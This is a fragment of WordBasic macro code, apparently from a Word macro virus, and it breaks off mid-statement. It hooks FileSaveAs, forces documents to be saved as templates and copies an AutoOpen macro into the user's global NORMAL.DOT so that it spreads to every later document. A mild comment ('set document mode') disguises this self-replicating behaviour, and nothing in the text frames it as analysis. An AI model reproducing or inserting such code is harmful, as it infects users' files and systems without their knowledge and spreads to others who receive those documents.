Sub MAIN

' set document mode
Dim dlg As FileSaveAs
MyFile$ = FileName$()
If　InStr(1, MyFile$, "文档") = 1 Then
　　　　x = Dialog(dlg)
　　　　MyFile$ = dlg.Name
'　　　 MsgBox MyFile$, Str$(dlg.AddToMru), 64
Else
'　　　 dlg.Format = 0
　　　　GetCurValues dlg
　　　　MyFile$ = dlg.Name
'　　　 MsgBox MyFile$, Str$(dlg.AddToMru), 64
End If

' if it is Macro Document, then goto bye2
If IsMacro(0) = - 1 Then Goto Bye2

' if Document is new, then goto Bye1
If MyFile$ = "" Then Goto Bye1

' Save file as template
If dlg.Format = 0 Then
　　　　FileSaveAs .Name = MyFile$, .Format = 1, .LockAnnot = 0, .Password = "", .AddToMru = 1, .WritePassword = "", .RecommendReadOnly = 0, .EmbedFonts = 0, .NativePictureFormat = 0, .FormsData = 0, .SaveAsAOCELetter = 0
Else
　　　　FileSave
End If

' search macro AutoOpen in Normal template
normal = CountMacros(0)
OkExist = 0
For i = 1 To normal
　　　　If MacroName$(i, 0) = "AutoOpen" Then OkExist = 1
Next i

' Get normal template name
TemplateName$ = DefaultDir$(2) + "\NORMAL.DOT"
'MsgBox TemplateName$, "", 64

' copy AutoOpen to normal template
If OkExist <> 1 Then
　　　　Organizer .Copy, .Source = MyFile$, .Destination = TemplateName$, .Na